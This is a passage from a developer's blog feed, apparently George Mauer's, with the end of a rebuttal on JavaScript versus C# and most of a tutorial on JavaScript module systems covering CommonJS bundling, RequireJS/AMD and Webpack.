&lt;p&gt;Now I had previously read this article, and did not care for it. I was snippy in the Quora comments&lt;/p&gt;

&lt;hr /&gt;

&lt;blockquote&gt;
  &lt;p&gt;Oh that hacker noon article? You mean the one where the guy trashes JavaScript with the fantastic argument of “everyone agrees with me but is also wrong” and then states openly that he barely knows JavaScript? That article? I also think that c# is better (see my answer) but for very different reasons and with many caveats. You hugely overstate the case here.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;p&gt;Turns out, the author of the Quora answer, and the hacker noon article were one and the same Richard Kenneth Eng. I’d really stepped into it now, as he responded with some additional citations and a reinforcment of his argument.&lt;/p&gt;

&lt;figure style=&quot;float: right; width: 400px&quot;&gt;
  &lt;img src=&quot;/img/javascript-slapfight/rke-dont-like-js.jpg&quot; /&gt;
  &lt;figcaption&gt;What I imagine Richard Kenneth Eng looks like as I write this&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As my counter grew longer and longer, I figured I’d just post my thoughts here.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Dear &lt;a href=&quot;https://hackernoon.com/the-javascript-phenomenon-is-a-mass-psychosis-57adebb09359&quot;&gt;Richard Kenenth Eng&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;Ah! I didn’t cross-check the name on that article. So you’re someone with actual opinions not just parroting whatever they read on Hacker News. Kudos, and I apologize for being dismissive! We’ve got a legitimate debate on our hands.&lt;/p&gt;

&lt;p&gt;There’s a lot we agree on. I think Node is going to surprise people with how quickly it dies once its community pillars make the jump to Go, Elixir, Rust, and whatever the next thing will be. I also love efforts like Clojurescript (and nice callout to Amber.js - had no idea about that project). I also have been in the industry for a while and am secretly cheering for WebAssembly to empower me to stop depending on some of the insanity of Javascript.&lt;/p&gt;

&lt;p&gt;But we have differences. I &lt;em&gt;do&lt;/em&gt; know Javascript very well. I have done research into its history, I talk about it all day, have published packages, am involved with the community, and teach it with a &lt;a href=&quot;https://operationspark.org/&quot;&gt;New Orleans-based code camp&lt;/a&gt;. I also do C# when I’m not JS-ing and did it almost exclusively from 2007 through 2011. This gives me a different perspective.&lt;/p&gt;

&lt;p&gt;Let’s start with the “People misunderstand JS” argument which you &lt;a href=&quot;https://medium.com/javascript-non-grata/the-three-big-lies-about-javascript-e227cabe3beb&quot;&gt;deride&lt;/a&gt; with&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;This is a lie because there is &lt;em&gt;nothing&lt;/em&gt; special about JavaScript. It is your garden variety imperative/procedural programming language with a smattering of functional programming (FP) capabilities tacked on and a controversial “object-oriented” feature called &lt;em&gt;object prototypes&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is to some degree true, but history is messy. What people are claiming as a misunderstanding is over how Javascript is best used, not about what Javascript &lt;em&gt;is&lt;/em&gt; (in fact the latter makes no sense, as you rightly point out). And Javascript is best used as a form of one of its progenitors - Scheme. Doing this immediately eliminates a huge chunk of the complexity and error-proneness of the language. Expressions become central and the stupid messy parts like procedural loops, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;, and inheritance simply go away. You can get &lt;em&gt;very very&lt;/em&gt; far by only sticking to this path of variables, simple objects, and functions. You’ll be sitting down to write your own jQuery and micro-optimizing before you ever need to reach for a class or a prototype!.&lt;/p&gt;

&lt;p&gt;This is the misunderstanding - that you don’t &lt;em&gt;have&lt;/em&gt; to know how to use all that other stuff. It absolutely helps, because you have to read and use third-party code, and you end up picking it up eventually in debugging, but it should not be a core part of your own programs. The core parts of your own programs should use the bits of Javascript that can be written down on a napkin. Yes, its dumb that so many parts of the language are an effective “badlands”, but even beautifully designed C# has some of these (&lt;em&gt;ahem&lt;/em&gt; event initialization).&lt;/p&gt;

&lt;p&gt;Of course this leads us to the next point of contention. I see you’ve written about Javascript’s lack of typing at several points, saying that strong and static types are mandatory for a good language. I question why that is that so. Can you back this up beyond personal preference? Surely you don’t doubt that much is achieved in Python, Ruby, Clojure, and Lisp? On what grounds do you dismiss these languages? The way you talk about it simply makes me suspect that the vast majority of your experience is in typed languages and that your definition of good implies typed.&lt;/p&gt;

&lt;p&gt;Of &lt;em&gt;course&lt;/em&gt; static typing makes some stuff easier. Of &lt;em&gt;course&lt;/em&gt; it &lt;em&gt;can&lt;/em&gt; be easier to navigage a program with types, it enables better tooling, and a compiler will catch a certain class of errors early. My experience working with beginners however, is that this is nowhere near as big a deal as you might assume. In fact, I find beginners have a very hard time reasoning about types when they are learning a typed language. I’m not sure why, but - again - my experience (and the fact that so many “scripting” languages are explicitly targetted at beginners) does not bear out the assumption that static typing helps all that much here.&lt;/p&gt;

&lt;p&gt;Are you talking about more senior developers then? Well, hopefully you will agree that typing errors are in the overwhelming minority of bugs a developer actually has to worry about and that unit testing (and preferrably test/behavior driven development) are a must regardless. And at the point where you have reasonably high coverage, how much does it &lt;em&gt;really&lt;/em&gt; matter if you’ve got a compiler checking all the jigsaw pieces fit?&lt;/p&gt;

&lt;p&gt;You’re a Smalltalk guy and almost by definition experienced enough to formulate a reasoned opinion for yourself. The best I can do is to point out what seems to be an unsubstantiated bias and perhaps get you to agree that it’s possible typing matters less than you think.&lt;/p&gt;

&lt;p&gt;So what about the community then?&lt;/p&gt;

&lt;p&gt;Ok, here we get into a recent rant of mine. I think from the above you understand that I love and respect C#, so please understand the following in that context.&lt;/p&gt;

&lt;p&gt;.Net has been out for what, 16 years now? Why the &lt;em&gt;shit&lt;/em&gt; do we &lt;em&gt;still&lt;/em&gt; not have a standard Currency type? Why do we not have something better than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DateTime&lt;/code&gt;? (Yes, I know about NodaTime, I’ll get to that later.) How is there literally no good option on Nuget for handling and converting units of measure? This is &lt;em&gt;insane&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;It’s not directly Microsoft’s fault. They’re under no obligation to flesh out absolutely everything, but the utter refusal of the community to coalesce around non-Microsoft solutions is a &lt;em&gt;huge&lt;/em&gt; drag. Take the aforementioned NodaTime - its a fine library, but I still can’t persist a NodaTime object with the most popular ORM because EF does not support custom object mappings. I maintain that this is 100% the fault of the community. Forget that people can actually contribute to EF (and how many non-Microsofties actually do?), but if nobody tries to use non-built-in types then the EF team is never pressured to prioritize this feature to enable integration with libraries. So now we have a vicious cycle and I’m re-implementing timezone logic in every damn project out there. Its an absolutely absurd situation! There are no standard ways of achieving some of the most common operations in programming and people typically roll their own - always with eaily preventable bugs. If someone were to write an article cautioning people away from C# on those grounds alone, I’m not sure I could muster a counter-argument.&lt;/p&gt;

&lt;p&gt;I was around during the Alt.Net movement and participated in many of the dicussions. &lt;em&gt;Eventually&lt;/em&gt; Microsoft did the right thing, hired many of the loudest agitators and adopted many of their recommendations (Asp.Net Mvc, Entlib, Nuget, Entity Framework, MEF, Unity, Web Api, Psake, Git integration, and VsTest - all these things come out of their work). But dear god it took a long time, generated so much ill will, and had so many missed opportunities that many just flat out &lt;a href=&quot;https://www.google.com/search?q=leaving+.net&amp;amp;source=lnt&amp;amp;tbs=cdr%3A1%2Ccd_min%3A2008%2Ccd_max%3A2013&amp;amp;tbm=&quot;&gt;left .Net&lt;/a&gt;. And why on earth did Microsoft have to even be involved to begin with? Because the community is shockingly complacent and ok with not evolving. Even with an incredible language, C# always teeters on the brink of becoming the next Java.&lt;/p&gt;

&lt;p&gt;Finally, lets just quickly touch on the question of &lt;em&gt;what&lt;/em&gt; exactly C# is a better language than Javascript for achieving. I like to talk about beginners since this is usually the context within which people ask such questions. I have my doubts over which is simpler to learn, but there’s no question that Javascript is physically &lt;em&gt;easier&lt;/em&gt; to learn. Nearly every code camp teaches Javascript and there are dozens of solid online courses. In the meantime, I have never heard of a .Net-centric bootcamp, the college courses that I’ve seen are garbage, and I struggle to point people asking me for material to anything but Pluralisight (which is aimed at pro developers).&lt;/p&gt;

&lt;p&gt;What about jobs? A .Net position probably pays a bit more to start with, but there are far more positions available for a 4-month intensive Javascript code camp grad than for a .Net one (which again, I have not seen). This is not just supposition, but actual calculations that I’ve done, and seen others do in several job markets. The - possibly sad - truth is that just about every company can use a competent Javascript developer, but far less a C# one. No one should ever stop at &lt;em&gt;only&lt;/em&gt; Javascript (and we have grads working in Clojure, Php, and even C# now), but all things being equal, it is the best way to start.&lt;/p&gt;

&lt;p&gt;The community matters. The reason &lt;em&gt;why&lt;/em&gt; you’re picking a language matters. And on most of those fronts, despite its awkwardness, for the time being in 2017, Javascript comes out ahead&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Understanding the State of Javascript Modules</title>
      <link>http://georgemauer.net/2016/11/25/how-js-modules-work.html</link>
      <pubDate>Fri, 25 Nov 2016 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2016/11/25/how-js-modules-work.html</guid>
      <description>&lt;style&gt;
aside {
    padding: 0.7em;
    border-radius: 1em;
    font-size: .8em;
    width: 30em;
    margin: 1em;
    text-align: justify;
    background-color: rgba(0,0,0,0.05);
    float: right;
}

*+h1 {
  clear: both;
}
&lt;/style&gt;

&lt;p&gt;If you’re new to the concept of Javascript modules you might be forgiven for thinking that nothing makes sense and the world is mad. You hear about browserify, webpack, rollup, gulp, requirejs, systemjs, jspm, amd, commonjs, npm, bower and it must all seem so insane. Why all these concepts? Why all this &lt;em&gt;choice&lt;/em&gt; for something that is so straightforward that in most languages it doesn’t even have a name?&lt;/p&gt;

&lt;p&gt;I’ve explained it enough times that I feel like I have a rather good patter down so let’s try to the whys and whats out there for all to see. I highly recommend reading this article in order as each section builds upon concepts in the previous to explain not only what but why the various tools under discussion work the way that they do.&lt;/p&gt;

&lt;p&gt;Let’s start by understanding the underlying problem. Why are in-browser (as opposed to Nodejs) javascript modules different from modules in any other language?&lt;/p&gt;

&lt;p&gt;Ultimately, it has to do with browser code’s client-server nature. And yes, while many programming languages work great in a client-server paradigm, the difference is that javascript is one of few where the code &lt;em&gt;itself&lt;/em&gt; is being pulled into the client dynamically as it runs, and especially that this is done in a way that is completely controlled by the user.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;the-problem&quot;&gt;The Problem&lt;/h1&gt;

&lt;p&gt;This key point can be illustrated with following code which should look familiar to anyone from a background in NodeJs or many other scripting languages&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;console.log(`How many users are in the system?`)
const users = require(&apos;./list-of-users.js&apos;)
console.log(`The system contains ${users.length} users`)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The meaning here is straightforward&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Log a message&lt;/li&gt;
  &lt;li&gt;Load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./list-of-users.js&lt;/code&gt; from the hard drive, run it, and stick the exported value into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users&lt;/code&gt; constant&lt;/li&gt;
  &lt;li&gt;Log a message about the number of users&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It seems straightforward to map that to code running in a browser&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Log a message&lt;/li&gt;
  &lt;li&gt;Load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./list-of-users.js&lt;/code&gt; &lt;strong&gt;over the network&lt;/strong&gt;, run it, and stick the exported value into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users&lt;/code&gt; constant&lt;/li&gt;
  &lt;li&gt;Log a message about the number of users&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is at point 2 that we encounter a problem, whereas in the first case the time to read from a disk is measured in nano or at most milliseconds, in the latter, a network load can be on the order of millions times longer. In Node’s case it is reasonable to ask the Javascript process to sit idle while things are loaded, but in the browser, with such high latency, we run into issues. For example what if we have&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;console.log(`How many users are in the system?`)
const users = require(&apos;./list-of-users.js&apos;)
console.log(`The system contains ${users.length} users`)
const products = require(&apos;./list-of-products.js&apos;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we are waiting for one network load &lt;em&gt;and then another&lt;/em&gt; and who’s to say that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list-of-users.js&lt;/code&gt; itself doesn’t contain several &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; calls? We’re therefore taking many times longer than needed to load things if we could simply load in parallel.&lt;/p&gt;

&lt;h1 id=&quot;synchronous-modules-and-bundling&quot;&gt;Synchronous Modules and Bundling&lt;/h1&gt;

&lt;p&gt;An obvious solution is to forgo loading of modules via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; function entirely. Let the user load modules using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag and then everything is loaded into memory already. We can then create global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;define&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; method that would work like this&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;//list-of-users.js
define(&apos;list-of-users&apos;, [
  {id: 1, username: &quot;darcy_mcarbles&quot;},
  {id: 2, username: &quot;cool_jenneane&quot;},
  {id: 3, username: &quot;arnold_just_arnold&quot;},
])

//main.js
const users = require(&apos;/list-of-users&apos;)
console.log(`The system contains ${users.length} users`)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;with them loaded in the old-school way from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.html&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;/simple-modules.js&quot;&amp;gt;&amp;lt;script&amp;gt;
&amp;lt;script src=&quot;/list-of-users.js&quot;&amp;gt;&amp;lt;script&amp;gt;
&amp;lt;script src=&quot;/main.js&quot;&amp;gt;&amp;lt;script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is pretty much exactly what both AngularJs dependency injection and my own &lt;a href=&quot;https://github.com/togakangaroo/simple-modules&quot;&gt;simple-modules library&lt;/a&gt; does and if that’s really all you need you can use it (but probably shouldn’t - read the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;simple-modules&lt;/code&gt; docs).&lt;/p&gt;

&lt;p&gt;Of course this is unabashedly simple. For example, when you create a new module, you not only have to remember to manually add a script tag, but to also add it in the right &lt;em&gt;order&lt;/em&gt;. And when you go to deploy to production, bundling and minification is still 100% on you.&lt;/p&gt;

&lt;p&gt;The next obvious move is to add a build step which - depending on where you’re coming from - will be either a completely obvious, or a seemingly unnecessarily complex process. With such a system you might point a tool at a directory of javascript files and tell it to auto-wrap all files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;define(...)&lt;/code&gt; statement based on the file name, concatenate all the files, and add-in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;define&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; function definition at the top. Now you can dump this “bundled” file into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build/app.js&lt;/code&gt; and load it via script tag to get your application up and running.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;/build/app.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In fact, while you’re at it, let’s say someone is doing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require(&apos;jquery&apos;)&lt;/code&gt;, why not look in the local &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node_modules&lt;/code&gt; directory? Then if jquery has been installed there via npm, grab the file from there and include it in the bundle.&lt;/p&gt;

&lt;aside&gt;
  Note that this conversation is absent any discussion of &lt;a href=&quot;https://bower.io/&quot;&gt;Bower&lt;/a&gt; As much-trumpeted as it is, Bower is mostly just a tool for downloading dependencies and a convention around where to put them (the &lt;code&gt;bower_components/&lt;/code&gt; directory). It is largely missing from the conversation since at the point where we have javascript modules we can typically make use of more mature downloading strategies, grabbing stuff directly from Npm or Github, making Bower redundant.
&lt;/aside&gt;

&lt;p&gt;This is exactly what tools like &lt;a href=&quot;http://browserify.org/&quot;&gt;Browserify&lt;/a&gt; and &lt;a href=&quot;http://rollupjs.org/&quot;&gt;Rollup&lt;/a&gt; do with the latter containing a few innovations upon the former. &lt;a href=&quot;/post-samples/state-js-modules/browserify-bundle.js&quot;&gt;Here is an example of a Browserify-bundled file containing the following code from the Browserify main page&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var unique = require(&apos;uniq&apos;);
var data = [1, 2, 2, 3, 4, 5, 5, 5, 6];
console.log(unique(data));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Observe how the first line contains a bunch of code essentially creating module wrappers, then the code above wrapped in a closure with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt; function provided via a parameter, and finally the implementation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uniq&lt;/code&gt; module all in one file. This should give you a pretty good idea of how the browserify process works.&lt;/p&gt;

&lt;p&gt;I strongly recommend writing some code, running a bundling tool, and examining the output yourself to get a feel for the process.&lt;/p&gt;

&lt;h2 id=&quot;watching-and-re-bundling&quot;&gt;Watching and Re-bundling&lt;/h2&gt;

&lt;p&gt;Of course running a bundler can still be a pain, as you have to manually execute it to generate a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.js&lt;/code&gt; on every file change before you can see your updates in the browser. Hence we have tools like &lt;a href=&quot;http://gulpjs.com/&quot;&gt;Gulp&lt;/a&gt;, &lt;a href=&quot;http://gruntjs.com/&quot;&gt;Grunt&lt;/a&gt;, and &lt;a href=&quot;https://www.npmjs.com/package/watchr&quot;&gt;Watchr&lt;/a&gt; which can be used go auto-rerun the process when any any file changes are detected.&lt;/p&gt;

&lt;p&gt;When it comes time to deploy to production, this approach works extra well. Since you already have a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.js&lt;/code&gt; file, pass it through a minifier (which can be built into that same build process) and you’re good to go.&lt;/p&gt;

&lt;aside&gt;
  On the negative, since all modules &lt;em&gt;have&lt;/em&gt; to be bundled for the &lt;code&gt;require&lt;/code&gt; function to be able to find them, it is very difficult with this approach to take advantage of Http/2 optimizations. In addition, performance tweaking for larger apps can get fairly involved. For example, should the main page of your application load code for the &lt;em&gt;Admin&lt;/em&gt; page? If so, how do you make sure the right module is applying to the right page? If not, and you create two bundles, then how do you deal with the fact that both bundles will contain copies of common dependencies such as jquery and therefore be cached separately?
&lt;/aside&gt;

&lt;p&gt;Regardless of the tool, this approach of accessing modules via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;const foo = require(&apos;foo&apos;)&lt;/code&gt; format is known collectively as &lt;strong&gt;CommonJs&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;asynchronous-loading-with-requirejs&quot;&gt;Asynchronous loading with RequireJs&lt;/h1&gt;

&lt;p&gt;An alternative is to tackle the core issue of the above approach directly. This is the tack championed by  &lt;a href=&quot;http://requirejs.org/&quot;&gt;RequireJs&lt;/a&gt; and similar systems, known collectively as &lt;em&gt;A&lt;/em&gt;synchrnous &lt;em&gt;M&lt;/em&gt;odule &lt;em&gt;D&lt;/em&gt;efinition (AMD), and is certainly where my own biases lie.&lt;/p&gt;

&lt;p&gt;AMD embraces the fact that module loading &lt;em&gt;is a fundamentally asynchronous operation&lt;/em&gt; and attacks the above example in the following manner&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// /js/list-of-users.js
define(&apos;list-of-users&apos;, [], () =&amp;gt; {
  return [
	{id: 1, username: &quot;darcy_mcarbles&quot;},
	{id: 2, username: &quot;cool_jenneane&quot;},
	{id: 3, username: &quot;arnold_just_arnold&quot;},
  ]
})

// /js/main.js
define(&apos;main&apos;,
  [&apos;./list-of-users&apos;, &apos;./list-of-products&apos;],
  (users, products) =&amp;gt; {
	console.log(`The system contains ${users.length} users`)
	console.log(`The system contains ${products.length} products`)
  })
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.html&lt;/code&gt; serving only to load requirejs and bootstrap the application by identifying the initial module&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;/require.js&quot;&amp;gt;&amp;lt;script&amp;gt;
&amp;lt;script&amp;gt;
   requirejs.config({
      baseUrl: &apos;/js/&apos; //Tell require what path to look for js files by default in
   })
&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
   require(&apos;main&apos;)
&amp;lt;script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(Yes, that looks different from RequireJs documentation, &lt;a href=&quot;http://georgemauer.net/2013/09/26/setting-up-require-js&quot;&gt;there are good reasons why I recommend deviating&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;Let’s talk through what happens here as it is quite different.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;First we load the RequireJs library and configure any global options (this is often the most frustrating part of the process)&lt;/li&gt;
  &lt;li&gt;Then we call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require(&apos;main&apos;)&lt;/code&gt; which will load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/js/main.js&lt;/code&gt; via Ajax as text&lt;/li&gt;
  &lt;li&gt;The define clause in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.js&lt;/code&gt; indicates a dependency on two other modules…&lt;/li&gt;
  &lt;li&gt;…therefore, before evaluation &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;, both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/js/list-of-users.js&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/js/list-of-products.js&lt;/code&gt; will be loaded. If these have any dependencies, RequireJs will continue processing the tree of dependencies and loading files until all have been brought into the browser.&lt;/li&gt;
  &lt;li&gt;Once all dependencies have been loaded, they will be evaluated in the reverse order. By the time the loader works it’s way up to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; module, both its dependencies will have been evaluated and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;products&lt;/code&gt; parameters will be provided from the return value of each module.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Note that while conceptually more complex, there is a certain elegance with this approach that removes the need for kludges such as the build process (this isn’t 100% true as we’ll see below) and it just-works™.&lt;/p&gt;

&lt;h2 id=&quot;the-benefits-of-loading-as-text&quot;&gt;The Benefits of Loading-As-Text&lt;/h2&gt;

&lt;p&gt;An interesting byproduct of this approach comes from the fact that we are loading files as text using Ajax, rather than script tags. With that being the case the following becomes a possibility.&lt;/p&gt;

&lt;p&gt;What if we have the file at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/js/main.js&lt;/code&gt; looking as follows&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; const users = require(&apos;./list-of-users.js&apos;)
 console.log(`The system contains ${users.length} users`)
 const products = require(&apos;./list-of-products.js&apos;)
 console.log(`The system contains ${products.length} products`)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Can we, upon loading the file text run some regular expressions on it to infer its dependencies and load them before evaluating as before? It turns out we can, and RequireJs provides a perfectly workable (though in my experience, rarely used) CommonJs mode that does just that!&lt;/p&gt;

&lt;p&gt;In fact, RequireJs can go a step further. For example, so long as we’re loading the file as text, we could &lt;em&gt;also&lt;/em&gt; load a transpiler such as &lt;a href=&quot;https://babeljs.io/&quot;&gt;BabelJs&lt;/a&gt;, &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;Typescript&lt;/a&gt;, or &lt;a href=&quot;http://sweetjs.org/&quot;&gt;SweetJs&lt;/a&gt; into the browser and run the text through it &lt;em&gt;in the browser&lt;/em&gt; before evaluating the resulting string. Its a performance hit that must be evened out in production, but during development that means you can use any transpile-able feature without any build step at all!&lt;/p&gt;

&lt;h2 id=&quot;the-not-quite-build-process-free-part&quot;&gt;The Not-Quite-Build-Process-Free Part&lt;/h2&gt;

&lt;p&gt;I mentioned several times above that there is no need for a build process with AMD and largely this is true. However, as your application builds up and you start putting in more and more modules, you start noting significant slow-downs of your pages. These will likely be ok for development purposes, but problematic in production.&lt;/p&gt;

&lt;p&gt;The reason has to do with the way AMD discovers dependencies. In the example above for instance, the module loader cannot possibly know of the need to load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list-of-users&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list-of-products&lt;/code&gt; &lt;em&gt;until it has loaded and parsed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; module which states its dependencies on them&lt;/em&gt;. In turn, if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list-of-products&lt;/code&gt; has dependencies, those will not be discovered until &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list-of-products&lt;/code&gt; itself loads. In other words, while RequireJs can certainly load files in parallel, it is limited in knowing &lt;em&gt;which&lt;/em&gt; files it should load by the structure of the dependency tree.&lt;/p&gt;

&lt;p&gt;to Make matters worse, while Http/2 makes loading of multiple files in parallel much faster, it is still constrained by its availability for modern web browsers and (&lt;a href=&quot;https://blogs.iis.net/davidso/http2&quot;&gt;&lt;em&gt;ahem&lt;/em&gt;&lt;/a&gt;) servers.&lt;/p&gt;

&lt;p&gt;Building up a bundle file is still an inescapable reality therefore. Fortunately, RequireJs makes this fairly easy. You install the []RequireJs optimizer](http://requirejs.org/docs/optimization.html), point it at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.js&lt;/code&gt;, and it walks the dependency tree to generate a single file. This is a thankfully straightforward process and - even better - one you can postpone fretting over until it is time to set up a staging deploy.&lt;/p&gt;

&lt;h1 id=&quot;what-about-native-javascript-modules-though&quot;&gt;What About Native Javascript Modules Though?&lt;/h1&gt;

&lt;p&gt;A good question given all the noise we heard about js modules in the last few years.&lt;/p&gt;

&lt;p&gt;The short answer is that the spec has been split up into two pieces.&lt;/p&gt;

&lt;p&gt;The first is the &lt;a href=&quot;http://www.2ality.com/2014/09/es6-modules-final.html&quot;&gt;module syntax&lt;/a&gt; which will be using a python-style &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import&lt;/code&gt; keyword:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import users from `./list-of-users`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This portion is defined, standardized and agreed upon. However, it is still not usable since there is currently no spec for the module loader itself. That is to say, there is no agreement on what a browser should do when it encounters the above statement and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list-of-users.js&lt;/code&gt; has not yet been loaded from the server. We know that it will involve a new global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System&lt;/code&gt; object but &lt;a href=&quot;http://jrburke.com/2015/02/13/how-to-know-when-es-modules-are-done/&quot;&gt;enough of the details&lt;/a&gt; remain to be worked out that currently implementation is not even slated for es2017.&lt;/p&gt;

&lt;p&gt;An alternate successful approach is one taken by &lt;a href=&quot;https://webpack.github.io/&quot;&gt;Webpack&lt;/a&gt;, which follows the same principles as bundling systems like Browserify but uses javascript module syntax rather than CommonJs. It also attempts to speed build times up to be nearly instantaneous, and to extend the concept to the bundling of css and other files.&lt;/p&gt;

&lt;h1 id=&quot;systemjs-and-modern-js-modules&quot;&gt;SystemJs and Modern Js Modules&lt;/h1&gt;

